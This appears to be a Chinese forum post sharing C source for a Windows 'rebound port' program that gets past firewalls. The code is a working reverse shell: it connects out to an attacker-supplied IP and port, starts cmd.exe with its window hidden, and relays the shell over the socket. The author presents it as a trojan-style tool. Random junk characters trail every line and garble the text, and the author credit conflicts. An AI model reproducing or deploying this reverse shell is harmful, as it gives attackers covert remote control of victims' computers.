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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B?z2@,  
~#sD2b` 0  
/* ============================== m[}k]PB>  
Rebound port in Windows NT Ic2?1<IZA  
By wind,2006/7 r E+B}O  
===============================*/ ;qgo=  
#include 2R&\qZ<  
#include uCDe>Q4@/  
|#2WN-  
#pragma comment(lib,"wsock32.lib") { LvD\4h"  
mKZzSd)p  
void OutputShell(); eTa_RO,x  
SOCKET sClient; F0<)8{s  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]%E h"   
?}KRAtJ8  
void main(int argc,char **argv) =wh[D$n$~  
{ e_=K0fFz  
WSADATA stWsaData; @ wR3L:@  
int nRet; *6/IO&y1a  
SOCKADDR_IN stSaiClient,stSaiServer; B>fZH \Y  
y0d=  
if(argc != 3) eA4D.7HDK  
{ ,m=G9QcN  
printf("Useage:\n\rRebound DestIP DestPort\n"); EB[T 5{  
return; N(7 XILC  
} Z\nDR|3  
pN[WYM?[  
WSAStartup(MAKEWORD(2,2),&stWsaData); vh a9,5_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M@cFcykK  
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stSaiClient.sin_family = AF_INET; mXRkR.zu+  
stSaiClient.sin_port = htons(0); 9lb?%UFe  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1,fR kQ  
r^~+ <"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >5CK&6  
{ (03/4*g_s  
printf("Bind Socket Failed!\n"); S~Gse+*  
return; FH=2, "A  
} 3ay},3MCV%  
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stSaiServer.sin_family = AF_INET; zV&l^.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9^}&PEl  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v$]B;;[A  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'zI(OnIS  
{ p/ ITg  
printf("Connect Error!"); ^lHy)!&A  
return; <o%T]  
} t8*Jdd^3Z/  
OutputShell(); UGO#o`.G}  
} 8gS7$ EH'  
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void OutputShell() zgwez$  
{ T?7u [D[[  
char szBuff[1024]; *BsK6iVb  
SECURITY_ATTRIBUTES stSecurityAttributes; Ixa0;nxj  
OSVERSIONINFO stOsversionInfo; q^aDZzx,z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; YbZbA >|  
STARTUPINFO stStartupInfo; 0fOhCxtL@  
char *szShell; ]*=4>(F[  
PROCESS_INFORMATION stProcessInformation; gA2Wo+\^bq  
unsigned long lBytesRead; T`x|=}  
{srP3ll P  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (uC8M,I\  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ok\-IU?  
stSecurityAttributes.lpSecurityDescriptor = 0; K0.aU  
stSecurityAttributes.bInheritHandle = TRUE; PT~htG<Fw  
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HA,o2jZ?In  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~XOmxz0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v #+ECx  
tAv3+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I\mF dE  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QC+ Z6WS;  
stStartupInfo.wShowWindow = SW_HIDE; &r1(1<  
stStartupInfo.hStdInput = hReadPipe; d/; tq  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "`% ,l|D  
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GetVersionEx(&stOsversionInfo); Cab.a)o  
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switch(stOsversionInfo.dwPlatformId) :c/54Ss~  
{ uBlPwb,V  
case 1: *JJ8\R&P0  
szShell = "command.com"; jYp!?%!  
break; ?%6oM  
default: 4zyQ"?A~  
szShell = "cmd.exe"; 1iF=~@Nz_  
break; Pe _O(  
} ,jY:@<n  
yT7$6x  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'I$FOH   
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send(sClient,szMsg,77,0); 1B;2 ~2X  
while(1) RcYUO*  
{ R l ]x:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IJ Jp5[w  
if(lBytesRead) E{\CE1*  
{ $lxpwO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '[ #y|  
send(sClient,szBuff,lBytesRead,0); b? ); D  
} ]RT  
else h&'|^;FM  
{ l'"nU6B&  
lBytesRead=recv(sClient,szBuff,1024,0); >Z!!`0{  
if(lBytesRead<=0) break; P73GH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qX@e+&4P0  
} 99=~vNn  
} NH/A`Wm  
Tx.N#,T|  
return; }t^wa\   
}
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